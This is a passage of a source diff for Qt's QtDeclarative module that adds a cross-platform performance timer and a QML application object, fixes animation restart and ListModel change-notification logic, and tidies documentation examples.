+#if (_POSIX_MONOTONIC_CLOCK-0 != 0)
+static const bool monotonicClockChecked = true;
+static const bool monotonicClockAvailable = _POSIX_MONOTONIC_CLOCK > 0;
+#else
+static int monotonicClockChecked = false;
+static int monotonicClockAvailable = false;
+#endif
+
+#ifdef Q_CC_GNU
+# define is_likely(x) __builtin_expect((x), 1)
+#else
+# define is_likely(x) (x)
+#endif
+#define load_acquire(x) ((volatile const int&)(x))
+#define store_release(x,v) ((volatile int&)(x) = (v))
+
+static void unixCheckClockType()
+{
+#if (_POSIX_MONOTONIC_CLOCK-0 == 0)
+    if (is_likely(load_acquire(monotonicClockChecked)))
+        return;
+
+# if defined(_SC_MONOTONIC_CLOCK)
+    // detect if the system support monotonic timers
+    long x = sysconf(_SC_MONOTONIC_CLOCK);
+    store_release(monotonicClockAvailable, x >= 200112L);
+# endif
+
+    store_release(monotonicClockChecked, true);
+#endif
+}
+
+static inline void do_gettime(qint64 *sec, qint64 *frac)
+{
+#if (_POSIX_MONOTONIC_CLOCK-0 >= 0)
+    unixCheckClockType();
+    if (is_likely(monotonicClockAvailable)) {
+        timespec ts;
+        clock_gettime(CLOCK_MONOTONIC, &ts);
+        *sec = ts.tv_sec;
+        *frac = ts.tv_nsec;
+        return;
+    }
+#endif
+    *sec = 0;
+    *frac = 0;
+}
+
+void QPerformanceTimer::start()
+{
+    do_gettime(&t1, &t2);
+}
+
+qint64 QPerformanceTimer::elapsed() const
+{
+    qint64 sec, frac;
+    do_gettime(&sec, &frac);
+    sec = sec - t1;
+    frac = frac - t2;
+
+    return sec * Q_INT64_C(1000000000) + frac;
+}
+
+////////////////////////////// Symbian //////////////////////////////
+#elif defined(Q_OS_SYMBIAN)
+
+static qint64 getTimeFromTick(quint64 elapsed)
+{
+    static TInt freq;
+    if (!freq)
+        HAL::Get(HALData::EFastCounterFrequency, freq);
+
+    // ### not sure on units
+    return elapsed / freq;
+}
+
+void QPerformanceTimer::start()
+{
+    t1 = User::FastCounter();
+}
+
+qint64 QPerformanceTimer::elapsed() const
+{
+    return getTimeFromTick(User::FastCounter() - t1);
+}
+
+////////////////////////////// Windows //////////////////////////////
+#elif defined(Q_OS_WIN)
+
+static qint64 getTimeFromTick(quint64 elapsed)
+{
+    static LARGE_INTEGER freq;
+    if (!freq.QuadPart)
+        QueryPerformanceFrequency(&freq);
+    return 1000000000 * elapsed / freq.QuadPart;
+}
+
+void QPerformanceTimer::start()
+{
+    LARGE_INTEGER li;
+    QueryPerformanceCounter(&li);
+    t1 = li.QuadPart;
+}
+
+qint64 QPerformanceTimer::elapsed() const
+{
+    LARGE_INTEGER li;
+    QueryPerformanceCounter(&li);
+    return getTimeFromTick(li.QuadPart - t1);
+}
+
+////////////////////////////// Default //////////////////////////////
+#else
+
+// default implementation (no hi-perf timer) does nothing
+void QPerformanceTimer::start()
+{
+}
+
+qint64 QPerformanceTimer::elapsed() const
+{
+    return 0;
+}
+
+#endif
+
+QT_END_NAMESPACE
+
+
diff --git a/tools/qdoc3/apigenerator.h b/src/declarative/qml/qperformancetimer_p.h
index c2dbde1..14310bf 100644
--- a/tools/qdoc3/apigenerator.h
+++ b/src/declarative/qml/qperformancetimer_p.h
@@ -1,10 +1,10 @@
 /****************************************************************************
 **
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
 ** All rights reserved.
 ** Contact: Nokia Corporation (qt-info@nokia.com)
 **
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the QtDeclarative module of the Qt Toolkit.
 **
 ** $QT_BEGIN_LICENSE:LGPL$
 ** No Commercial Usage
@@ -39,27 +39,41 @@
 **
 ****************************************************************************/
 
-#ifndef APIGENERATOR_H
-#define APIGENERATOR_H
+#ifndef QPERFORMANCETIMER_P_H
+#define QPERFORMANCETIMER_P_H
 
-#include <QTextStream>
+//
+//  W A R N I N G
+//  -------------
+//
+// This file is not part of the Qt API.  It exists for the convenience
+// of moc.  This header file may change from version to version without notice,
+// or even be removed.
+//
+// We mean it.
+//
 
-#include "generator.h"
+#include <QtCore/qglobal.h>
+
+QT_BEGIN_HEADER
 
 QT_BEGIN_NAMESPACE
 
-class ApiGenerator : public Generator
+QT_MODULE(Declarative)
+
+class Q_AUTOTEST_EXPORT QPerformanceTimer
 {
 public:
-    QString format();
-    void generateTree(const Tree *tree, CodeMarker *marker);
+    void start();
+    qint64 elapsed() const;
 
 private:
-    void generateNode(const Node *node, CodeMarker *marker, int indent = 0);
-
-    QTextStream out;
+    qint64 t1;
+    qint64 t2;
 };
 
 QT_END_NAMESPACE
 
-#endif
+QT_END_HEADER
+
+#endif // QPERFORMANCETIMER_P_H
diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp
index 681cea0..dc6d524 100644
--- a/src/declarative/util/qdeclarativeanimation.cpp
+++ b/src/declarative/util/qdeclarativeanimation.cpp
@@ -182,12 +182,11 @@ void QDeclarativeAbstractAnimation::setRunning(bool r)
 {
     Q_D(QDeclarativeAbstractAnimation);
     if (!d->componentComplete) {
-        if (d->running && r == d->running)    //don't re-register
-            return;
         d->running = r;
         if (r == false)
             d->avoidPropertyValueSourceStart = true;
-        else {
+        else if (!d->registered) {
+            d->registered = true;
             QDeclarativeEnginePrivate *engPriv = QDeclarativeEnginePrivate::get(qmlEngine(this));
             engPriv->registerFinalizedParserStatusObject(this, this->metaObject()->indexOfSlot("componentFinalized()"));
         }
@@ -204,6 +203,7 @@ void QDeclarativeAbstractAnimation::setRunning(bool r)
 
     d->running = r;
     if (d->running) {
+        bool supressStart = false;
         if (d->alwaysRunToEnd && d->loopCount != 1
             && qtAnimation()->state() == QAbstractAnimation::Running) {
             //we've restarted before the final loop finished; restore proper loop count
@@ -211,6 +211,7 @@ void QDeclarativeAbstractAnimation::setRunning(bool r)
                 qtAnimation()->setLoopCount(d->loopCount);
             else
                 qtAnimation()->setLoopCount(qtAnimation()->currentLoop() + d->loopCount);
+            supressStart = true;    //we want the animation to continue, rather than restart
         }
 
         if (!d->connectedTimeLine) {
@@ -218,7 +219,8 @@ void QDeclarativeAbstractAnimation::setRunning(bool r)
                              this, SLOT(timelineComplete()));
             d->connectedTimeLine = true;
         }
-        d->commence();
+        if (!supressStart)
+            d->commence();
         emit started();
     } else {
         if (d->alwaysRunToEnd) {
@@ -672,7 +674,9 @@ QDeclarativeColorAnimation::~QDeclarativeColorAnimation()
 
     \qml
     Item {
-        states: [ ... ]
+        states: [
+            // States are defined here...
+        ]
 
         transition: Transition {
             NumberAnimation { from: "#c0c0c0"; duration: 2000 }
@@ -725,40 +729,29 @@ void QDeclarativeColorAnimation::setTo(const QColor &t)
 
 /*!
     \qmlclass ScriptAction QDeclarativeScriptAction
-  \ingroup qml-animation-transition
+    \ingroup qml-animation-transition
     \since 4.7
     \inherits Animation
     \brief The ScriptAction element allows scripts to be run during an animation.
 
-    ScriptAction can be used to run script at a specific point in an animation.
+    ScriptAction can be used to run a script at a specific point in an animation.
 
     \qml
     SequentialAnimation {
-        NumberAnimation { ... }
+        NumberAnimation {
+            // ...
+        }
         ScriptAction { script: doSomething(); }
-        NumberAnimation { ... }
+        NumberAnimation {
+            // ...
+        }
     }
     \endqml
 
     When used as part of a Transition, you can also target a specific
     StateChangeScript to run using the \c scriptName property.
 
-    \qml
-    State {
-        StateChangeScript {
-            name: "myScript"
-            script: doStateStuff();
-        }
-    }
-    ...
-    Transition {
-        SequentialAnimation {
-            NumberAnimation { ... }
-            ScriptAction { scriptName: "myScript" }
-            NumberAnimation { ... }
-        }
-    }
-    \endqml
+    \snippet doc/src/snippets/declarative/states/statechangescript.qml state and transition
 
     \sa StateChangeScript
 */
@@ -870,7 +863,7 @@ QAbstractAnimation *QDeclarativeScriptAction::qtAnimation()
 
 /*!
     \qmlclass PropertyAction QDeclarativePropertyAction
-  \ingroup qml-animation-transition
+    \ingroup qml-animation-transition
     \since 4.7
     \inherits Animation
     \brief The PropertyAction element allows immediate property changes during animation.
@@ -896,21 +889,14 @@ QAbstractAnimation *QDeclarativeScriptAction::qtAnimation()
     However, with this code, the \c transformOrigin is not set until \e after
     the animation, as a \l State is taken to define the values at the \e end of
     a transition. The animation would rotate at the default \c transformOrigin,
-    then jump to \c Item.BottomRight. To fix this, insert a PropertyChanges 
+    then jump to \c Item.BottomRight. To fix this, insert a PropertyAction
     before the RotationAnimation begins:
 
-    \qml
-    transitions: Transition {
-        SequentialAnimation {
-            PropertyAction { target: rect; property: "transformOrigin" }
-            RotationAnimation { ... }
-        }
-    }
-    \endqml
+    \snippet doc/src/snippets/declarative/propertyaction-sequential.qml sequential
     
     This immediately sets the \c transformOrigin property to the value defined
     in the end state of the \l Transition (i.e. the value defined in the 
-    PropertyChanges object) so that the rotation animation begins with the
+    PropertyAction object) so that the rotation animation begins with the
     correct transform origin.
 
     \sa {QML Animation}, QtDeclarative
@@ -1195,7 +1181,9 @@ void QDeclarativeNumberAnimation::init()
 
     \qml
     Item {
-        states: [ ... ]
+        states: [
+            // ...
+        ]
 
         transition: Transition {
             NumberAnimation { properties: "x"; from: 100; duration: 200 }
@@ -1421,7 +1409,9 @@ QDeclarativeRotationAnimation::~QDeclarativeRotationAnimation()
 
     \qml
     Item {
-        states: [ ... ]
+        states: [
+            // ...
+        ]
 
         transition: Transition {
             RotationAnimation { properties: "angle"; from: 100; duration: 2000 }
@@ -2253,7 +2243,7 @@ void QDeclarativePropertyAnimation::setProperties(const QString &prop)
            width: 100; height: 100
            color: Qt.rgba(0,0,1)
            //need to explicitly specify target and property
-           NumberAnimation { id: theAnim; target: theRect; property: "x" to: 500 }
+           NumberAnimation { id: theAnim; target: theRect; property: "x"; to: 500 }
            MouseArea {
                anchors.fill: parent
                onClicked: theAnim.start()
@@ -2555,7 +2545,7 @@ void QDeclarativeParentAnimation::setNewParent(QDeclarativeItem *newParent)
     ParentAnimation {
         target: myItem
         via: topLevelItem
-        ...
+        // ...
     }
     \endqml
 */
diff --git a/src/declarative/util/qdeclarativeanimation_p_p.h b/src/declarative/util/qdeclarativeanimation_p_p.h
index 15bda3c..048ecb1 100644
--- a/src/declarative/util/qdeclarativeanimation_p_p.h
+++ b/src/declarative/util/qdeclarativeanimation_p_p.h
@@ -210,7 +210,7 @@ public:
     : running(false), paused(false), alwaysRunToEnd(false),
       connectedTimeLine(false), componentComplete(true),
       avoidPropertyValueSourceStart(false), disableUserControl(false),
-      loopCount(1), group(0) {}
+      registered(false), loopCount(1), group(0) {}
 
     bool running:1;
     bool paused:1;
@@ -219,6 +219,7 @@ public:
     bool componentComplete:1;
     bool avoidPropertyValueSourceStart:1;
     bool disableUserControl:1;
+    bool registered:1;
 
     int loopCount;
 
diff --git a/src/declarative/util/qdeclarativeapplication.cpp b/src/declarative/util/qdeclarativeapplication.cpp
new file mode 100644
index 0000000..e0f6df2
--- /dev/null
+++ b/src/declarative/util/qdeclarativeapplication.cpp
@@ -0,0 +1,112 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativeapplication_p.h"
+#include <private/qobject_p.h>
+#include <QtGui/QApplication>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeApplicationPrivate : public QObjectPrivate
+{
+    Q_DECLARE_PUBLIC(QDeclarativeApplication)
+public:
+    QDeclarativeApplicationPrivate() : active(QApplication::activeWindow() != 0),
+    layoutDirection(QApplication::layoutDirection()) {}
+    bool active;
+    Qt::LayoutDirection layoutDirection;
+};
+
+/*
+    This object and its properties are documented as part of the Qt object,
+    in qdeclarativengine.cpp
+*/
+
+QDeclarativeApplication::QDeclarativeApplication(QObject *parent) : QObject(*new QDeclarativeApplicationPrivate(), parent)
+{
+    if (qApp)
+        qApp->installEventFilter(this);
+}
+
+QDeclarativeApplication::~QDeclarativeApplication()
+{
+}
+
+bool QDeclarativeApplication::active() const
+{
+    Q_D(const QDeclarativeApplication);
+    return d->active;
+}
+
+Qt::LayoutDirection QDeclarativeApplication::layoutDirection() const
+{
+    Q_D(const QDeclarativeApplication);
+    return d->layoutDirection;
+}
+
+bool QDeclarativeApplication::eventFilter(QObject *obj, QEvent *event)
+{
+    Q_UNUSED(obj)
+    Q_D(QDeclarativeApplication);
+    if (event->type() == QEvent::ApplicationActivate
+     || event->type() == QEvent::ApplicationDeactivate) {
+        bool active = d->active;
+        if (event->type() == QEvent::ApplicationActivate)
+            active  = true;
+        else if (event->type() == QEvent::ApplicationDeactivate)
+            active  = false;
+
+        if (d->active != active) {
+            d->active = active;
+            emit activeChanged();
+        }
+    }
+    if (event->type() == QEvent::LayoutDirectionChange) {
+        Qt::LayoutDirection direction = QApplication::layoutDirection();
+        if (d->layoutDirection != direction) {
+            d->layoutDirection = direction;
+            emit layoutDirectionChanged();
+        }
+    }
+    return false;
+}
+
+QT_END_NAMESPACE
diff --git a/tools/qdoc3/linguistgenerator.h b/src/declarative/util/qdeclarativeapplication_p.h
index 402c10f..caaed18 100644
--- a/tools/qdoc3/linguistgenerator.h
+++ b/src/declarative/util/qdeclarativeapplication_p.h
@@ -1,10 +1,10 @@
 /****************************************************************************
 **
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
 ** All rights reserved.
 ** Contact: Nokia Corporation (qt-info@nokia.com)
 **
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the QtDeclarative module of the Qt Toolkit.
 **
 ** $QT_BEGIN_LICENSE:LGPL$
 ** No Commercial Usage
@@ -39,47 +39,48 @@
 **
 ****************************************************************************/
 
-/*
-  LinguistGenerator.h
-*/
+#ifndef QDECLARATIVEAPPLICATION_P_H
+#define QDECLARATIVEAPPLICATION_P_H
 
-#ifndef LINGUISTGENERATOR_H
-#define LINGUISTGENERATOR_H
+#include <QtCore/QObject>
+#include <qdeclarative.h>
+#include <private/qdeclarativeglobal_p.h>
 
-#include <qmap.h>
-#include <qregexp.h>
-#include <qdom.h>
-
-#include "codemarker.h"
-#include "config.h"
-#include "pagegenerator.h"
+QT_BEGIN_HEADER
 
 QT_BEGIN_NAMESPACE
 
-class LinguistGenerator : public PageGenerator
+QT_MODULE(Declarative)
+
+class QDeclarativeApplicationPrivate;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeApplication : public QObject
 {
-public:
-    LinguistGenerator();
-    ~LinguistGenerator();
+    Q_OBJECT
+    Q_PROPERTY(bool active READ active NOTIFY activeChanged)
+    Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection NOTIFY layoutDirectionChanged)
 
-    virtual void initializeGenerator( const Config& config );
-    virtual void terminateGenerator();
-    virtual QString format();
+public:
+    explicit QDeclarativeApplication(QObject *parent = 0);
+    virtual ~QDeclarativeApplication();
+    bool active() const;
+    Qt::LayoutDirection layoutDirection() const;
 
 protected:
-    virtual void generateClassLikeNode(const InnerNode *inner,
-                                       CodeMarker *marker);
-    virtual void generateFakeNode( const FakeNode *fake, CodeMarker *marker );
-    virtual QString fileExtension(const Node *node) const;
+    bool eventFilter(QObject *obj, QEvent *event);
 
-    QList<QDomElement> generateIndexSections(QDomDocument &document,
-                       const Node *node, CodeMarker *marker);
-    virtual QString fullName(const Node *node) const;
+Q_SIGNALS:
+    void activeChanged();
+    void layoutDirectionChanged();
 
 private:
-    QString simplified(const QString &text) const;
+    Q_DISABLE_COPY(QDeclarativeApplication)
+    Q_DECLARE_PRIVATE(QDeclarativeApplication)
 };
 
 QT_END_NAMESPACE
 
-#endif
+QML_DECLARE_TYPE(QDeclarativeApplication)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEAPPLICATION_P_H
diff --git a/src/declarative/util/qdeclarativeconnections.cpp b/src/declarative/util/qdeclarativeconnections.cpp
index 6f35957..5a66aab 100644
--- a/src/declarative/util/qdeclarativeconnections.cpp
+++ b/src/declarative/util/qdeclarativeconnections.cpp
@@ -45,6 +45,7 @@
 #include <qdeclarativeproperty_p.h>
 #include <qdeclarativeboundsignal_p.h>
 #include <qdeclarativecontext.h>
+#include <qdeclarativecontext_p.h>
 #include <qdeclarativeinfo.h>
 
 #include <QtCore/qdebug.h>
@@ -71,8 +72,8 @@ public:
 
 /*!
     \qmlclass Connections QDeclarativeConnections
-  \ingroup qml-utility-elements
-  \since 4.7
+    \ingroup qml-utility-elements
+    \since 4.7
     \brief A Connections element describes generalized connections to signals.
 
     A Connections object creates a connection to a QML signal.
@@ -82,7 +83,7 @@ public:
 
     \qml
     MouseArea {
-        onClicked: { foo(...) }
+        onClicked: { foo(parameters) }
     }
     \endqml
 
@@ -103,7 +104,7 @@ public:
     \qml
     MouseArea {
         Connections {
-            onClicked: foo(...)
+            onClicked: foo(parameters)
         }
     }
     \endqml
@@ -115,10 +116,10 @@ public:
     MouseArea {
         id: area
     }
-    ...
+    // ...
     Connections {
         target: area
-        onClicked: foo(...)
+        onClicked: foo(parameters)
     }
     \endqml
 
@@ -257,7 +258,11 @@ void QDeclarativeConnections::connectSignals()
         if (prop.isValid() && (prop.type() & QDeclarativeProperty::SignalProperty)) {
             QDeclarativeBoundSignal *signal =
                 new QDeclarativeBoundSignal(target(), prop.method(), this);
-            signal->setExpression(new QDeclarativeExpression(qmlContext(this), 0, script));
+            QDeclarativeExpression *expression = new QDeclarativeExpression(qmlContext(this), 0, script);
+            QDeclarativeData *ddata = QDeclarativeData::get(this);
+            if (ddata && ddata->outerContext && !ddata->outerContext->url.isEmpty())
+                expression->setSourceLocation(ddata->outerContext->url.toString(), ddata->lineNumber);
+            signal->setExpression(expression);
             d->boundsignals += signal;
         } else {
             if (!d->ignoreUnknownSignals)
diff --git a/src/declarative/util/qdeclarativefontloader.cpp b/src/declarative/util/qdeclarativefontloader.cpp
index d39da3f..eba9cf9 100644
--- a/src/declarative/util/qdeclarativefontloader.cpp
+++ b/src/declarative/util/qdeclarativefontloader.cpp
@@ -262,8 +262,18 @@ void QDeclarativeFontLoader::updateFontInfo(const QString& name, QDeclarativeFon
 
     Example:
     \qml
-    FontLoader { id: webFont; source: "http://www.mysite.com/myfont.ttf" }
-    Text { text: "Fancy font"; font.family: webFont.name }
+    Item {
+        width: 200; height: 50
+
+        FontLoader {
+            id: webFont
+            source: "http://www.mysite.com/myfont.ttf"
+        }
+        Text {
+            text: "Fancy font"
+            font.family: webFont.name
+        }
+    }
     \endqml
 */
 QString QDeclarativeFontLoader::name() const
diff --git a/src/declarative/util/qdeclarativelistmodel.cpp b/src/declarative/util/qdeclarativelistmodel.cpp
index e5ba5e0..80b52fd 100644
--- a/src/declarative/util/qdeclarativelistmodel.cpp
+++ b/src/declarative/util/qdeclarativelistmodel.cpp
@@ -108,9 +108,9 @@ QDeclarativeListModelParser::ListInstruction *QDeclarativeListModelParser::ListM
     The following example shows a ListModel containing three elements, with the roles
     "name" and "cost".
 
-    \beginfloatright
+    \div {float-right}
     \inlineimage listmodel.png
-    \endfloat
+    \enddiv
 
     \snippet doc/src/snippets/declarative/listmodel.qml 0
 
@@ -133,9 +133,9 @@ QDeclarativeListModelParser::ListInstruction *QDeclarativeListModelParser::ListM
 
     The delegate displays all the fruit attributes:
 
-    \beginfloatright
+    \div {float-right}
     \inlineimage listmodel-nested.png
-    \endfloat
+    \enddiv
 
     \snippet doc/src/snippets/declarative/listmodel-nested.qml delegate
 
@@ -559,6 +559,14 @@ QScriptValue QDeclarativeListModel::get(int index) const
 */
 void QDeclarativeListModel::set(int index, const QScriptValue& valuemap)
 {
+    QList<int> roles;
+    set(index, valuemap, &roles);
+    if (!roles.isEmpty() && !inWorkerThread())
+        emit itemsChanged(index, 1, roles);
+}
+
+void QDeclarativeListModel::set(int index, const QScriptValue& valuemap, QList<int> *roles)
+{
     if (!valuemap.isObject() || valuemap.isArray()) {
         qmlInfo(this) << tr("set: value is not an object");
         return;
@@ -571,14 +579,10 @@ void QDeclarativeListModel::set(int index, const QScriptValue& valuemap)
     if (index == count()) {
         append(valuemap);
     } else {
-        QList<int> roles;
         if (m_flat)
-            m_flat->set(index, valuemap, &roles);
+            m_flat->set(index, valuemap, roles);
         else
-            m_nested->set(index, valuemap, &roles);
-
-        if (!inWorkerThread())
-            emit itemsChanged(index, 1, roles);
+            m_nested->set(index, valuemap, roles);
     }
 }
 
@@ -597,19 +601,23 @@ void QDeclarativeListModel::set(int index, const QScriptValue& valuemap)
 */
 void QDeclarativeListModel::setProperty(int index, const QString& property, const QVariant& value)
 {
+    QList<int> roles;
+    setProperty(index, property, value, &roles);
+    if (!roles.isEmpty() && !inWorkerThread())
+        emit itemsChanged(index, 1, roles);
+}
+
+void QDeclarativeListModel::setProperty(int index, const QString& property, const QVariant& value, QList<int> *roles)
+{
     if (count() == 0 || index >= count() || index < 0) {
         qmlInfo(this) << tr("set: index %1 out of range").arg(index);
         return;
     }
 
-    QList<int> roles;
     if (m_flat)
-        m_flat->setProperty(index, property, value, &roles);
+        m_flat->setProperty(index, property, value, roles);
     else
-        m_nested->setProperty(index, property, value, &roles);
-
-    if (!inWorkerThread())
-        emit itemsChanged(index, 1, roles);
+        m_nested->setProperty(index, property, value, roles);
 }
 
 /*!
@@ -1011,9 +1019,11 @@ void FlatListModel::setProperty(int index, const QString& property, const QVaria
     } else {
         role = iter.value();
     }
-    roles->append(role);
 
-    m_values[index][role] = value;
+    if (m_values[index][role] != value) {
+        roles->append(role);
+        m_values[index][role] = value;
+    }
 }
 
 void FlatListModel::move(int from, int to, int n)
@@ -1043,6 +1053,10 @@ bool FlatListModel::addValue(const QScriptValue &value, QHash<int, QVariant> *ro
             iter = m_strings.insert(name, role);
             if (roles)
                 roles->append(role);
+        } else {
+            int role = iter.value();
+            if (roles && row->contains(role) && row->value(role) != v)
+                roles->append(role);
         }
         row->insert(*iter, v);
     }
@@ -1151,14 +1165,14 @@ void FlatListScriptClass::setProperty(Object *obj, const Identifier &name, const
         QHash<int, QVariant> &row = m_model->m_values[index];
         row[role] = value.toVariant();
 
+        QList<int> roles;
+        roles << role;
         if (m_model->m_parentAgent) {
             // This is the list in the worker thread, so tell the agent to
             // emit itemsChanged() later
-            m_model->m_parentAgent->changedData(index, 1);
+            m_model->m_parentAgent->changedData(index, 1, roles);
         } else {
             // This is the list in the main thread, so emit itemsChanged()
-            QList<int> roles;
-            roles << role;
             emit m_model->m_listModel->itemsChanged(index, 1, roles);
         }
     }
@@ -1350,7 +1364,9 @@ void NestedListModel::set(int index, const QScriptValue& valuemap, QList<int> *r
     Q_ASSERT(index >=0 && index < count());
 
     ModelNode *node = qvariant_cast<ModelNode *>(_root->values.at(index));
-    node->setObjectValue(valuemap);
+    bool emitItemsChanged = node->setObjectValue(valuemap);
+    if (!emitItemsChanged)
+        return;
 
     QScriptValueIterator it(valuemap);
     while (it.hasNext()) {
@@ -1369,7 +1385,9 @@ void NestedListModel::setProperty(int index, const QString& property, const QVar
     Q_ASSERT(index >=0 && index < count());
 
     ModelNode *node = qvariant_cast<ModelNode *>(_root->values.at(index));
-    node->setProperty(property, value);
+    bool emitItemsChanged = node->setProperty(property, value);
+    if (!emitItemsChanged)
+        return;
 
     int r = roleStrings.indexOf(property);
     if (r < 0) {
@@ -1441,24 +1459,37 @@ void ModelNode::clear()
     properties.clear();
 }
 
-void ModelNode::setObjectValue(const QScriptValue& valuemap, bool writeToCache) {
+bool ModelNode::setObjectValue(const QScriptValue& valuemap, bool writeToCache)
+{
+    bool emitItemsChanged = false;
+
     QScriptValueIterator it(valuemap);
     while (it.hasNext()) {
         it.next();
+        ModelNode *prev = properties.value(it.name());
         ModelNode *value = new ModelNode(m_model);
         QScriptValue v = it.value();
+
         if (v.isArray()) {
             value->isArray = true;
             value->setListValue(v);
+            if (writeToCache && objectCache)
+                objectCache->setValue(it.name().toUtf8(), QVariant::fromValue(value->model(m_model)));
+            emitItemsChanged = true;    // for now, too inefficient to check whether list and sublists have changed
         } else {
             value->values << v.toVariant();
             if (writeToCache && objectCache)
                 objectCache->setValue(it.name().toUtf8(), value->values.last());
+            if (!emitItemsChanged && prev && prev->values.count() == 1
+                    && prev->values[0] != value->values.last()) {
+                emitItemsChanged = true;
+            }
         }
         if (properties.contains(it.name()))
             delete properties[it.name()];
         properties.insert(it.name(), value);
     }
+    return emitItemsChanged;
 }
 
 void ModelNode::setListValue(const QScriptValue& valuelist) {
@@ -1481,9 +1512,12 @@ void ModelNode::setListValue(const QScriptValue& valuelist) {
     }
 }
 
-void ModelNode::setProperty(const QString& prop, const QVariant& val) {
+bool ModelNode::setProperty(const QString& prop, const QVariant& val) {
     QHash<QString, ModelNode *>::const_iterator it = properties.find(prop);
+    bool emitItemsChanged = false;
     if (it != properties.end()) {
+        if (val != (*it)->values[0])
+            emitItemsChanged = true;
         (*it)->values[0] = val;
     } else {
         ModelNode *n = new ModelNode(m_model);
@@ -1492,6 +1526,7 @@ void ModelNode::setProperty(const QString& prop, const QVariant& val) {
     }
     if (objectCache)
         objectCache->setValue(prop.toUtf8(), val);
+    return emitItemsChanged;
 }
 
 void ModelNode::updateListIndexes()
@@ -1559,7 +1594,7 @@ ModelObject::ModelObject(ModelNode *node, NestedListModel *model, QScriptEngine
 void ModelObject::setValue(const QByteArray &name, const QVariant &val)
 {
     m_meta->setValue(name, val);
-    setProperty(name.constData(), val);
+    //setProperty(name.constData(), val);
 }
 
 void ModelObject::setNodeUpdatesEnabled(bool enable)
@@ -1586,9 +1621,9 @@ void ModelNodeMetaObject::propertyWritten(int index)
 
     QScriptValue sv = m_seng->newObject();
     sv.setProperty(propName, m_seng->newVariant(value));
-    m_obj->m_node->setObjectValue(sv, false);
-
-    m_obj->m_node->changedProperty(propName);
+    bool changed = m_obj->m_node->setObjectValue(sv, false);
+    if (changed)
+        m_obj->m_node->changedProperty(propName);
 }
 
 
diff --git a/src/declarative/util/qdeclarativelistmodel_p.h b/src/declarative/util/qdeclarativelistmodel_p.h
index 5f73557..7870b4f 100644
--- a/src/declarative/util/qdeclarativelistmodel_p.h
+++ b/src/declarative/util/qdeclarativelistmodel_p.h
@@ -103,6 +103,9 @@ private:
     // Constructs a flat list model for a worker agent
     QDeclarativeListModel(const QDeclarativeListModel *orig, QDeclarativeListModelWorkerAgent *parent);
 
+    void set(int index, const QScriptValue&, QList<int> *roles);
+    void setProperty(int index, const QString& property, const QVariant& value, QList<int> *roles);
+
     bool flatten();
     bool inWorkerThread() const;
 
diff --git a/src/declarative/util/qdeclarativelistmodel_p_p.h b/src/declarative/util/qdeclarativelistmodel_p_p.h
index 5ba702c..7236e8b 100644
--- a/src/declarative/util/qdeclarativelistmodel_p_p.h
+++ b/src/declarative/util/qdeclarativelistmodel_p_p.h
@@ -190,7 +190,7 @@ public:
     bool insert(int index, const QScriptValue&);
     QScriptValue get(int index) const;
     void set(int index, const QScriptValue&, QList<int> *roles);
-    void setProperty(int index, const QString& property, const QVariant& value, QList<int> *role);
+    void setProperty(int index, const QString& property, const QVariant& value, QList<int> *roles);
     void move(int from, int to, int count);
 
     QVariant valueForNode(ModelNode *, bool *hasNested = 0) const;
@@ -255,9 +255,9 @@ struct ModelNode
     QDeclarativeListModel *model(const NestedListModel *model);
     ModelObject *object(const NestedListModel *model);
 
-    void setObjectValue(const QScriptValue& valuemap, bool writeToCache = true);
+    bool setObjectValue(const QScriptValue& valuemap, bool writeToCache = true);
     void setListValue(const QScriptValue& valuelist);
-    void setProperty(const QString& prop, const QVariant& val);
+    bool setProperty(const QString& prop, const QVariant& val);
     void changedProperty(const QString &name) const;
     void updateListIndexes();
     static void dump(ModelNode *node, int ind);
diff --git a/src/declarative/util/qdeclarativelistmodelworkeragent.cpp b/src/declarative/util/qdeclarativelistmodelworkeragent.cpp
index 69353f1..befa8eb 100644
--- a/src/declarative/util/qdeclarativelistmodelworkeragent.cpp
+++ b/src/declarative/util/qdeclarativelistmodelworkeragent.cpp
@@ -60,25 +60,25 @@ void QDeclarativeListModelWorkerAgent::Data::clearChange()
 
 void QDeclarativeListModelWorkerAgent::Data::insertChange(int index, int count) 
 {
-    Change c = { Change::Inserted, index, count, 0 };
+    Change c = { Change::Inserted, index, count, 0, QList<int>() };
     changes << c;
 }
 
 void QDeclarativeListModelWorkerAgent::Data::removeChange(int index, int count) 
 {
-    Change c = { Change::Removed, index, count, 0 };
+    Change c = { Change::Removed, index, count, 0, QList<int>() };
     changes << c;
 }
 
 void QDeclarativeListModelWorkerAgent::Data::moveChange(int index, int count, int to)
 {
-    Change c = { Change::Moved, index, count, to };
+    Change c = { Change::Moved, index, count, to, QList<int>() };
     changes << c;
 }
 
-void QDeclarativeListModelWorkerAgent::Data::changedChange(int index, int count)
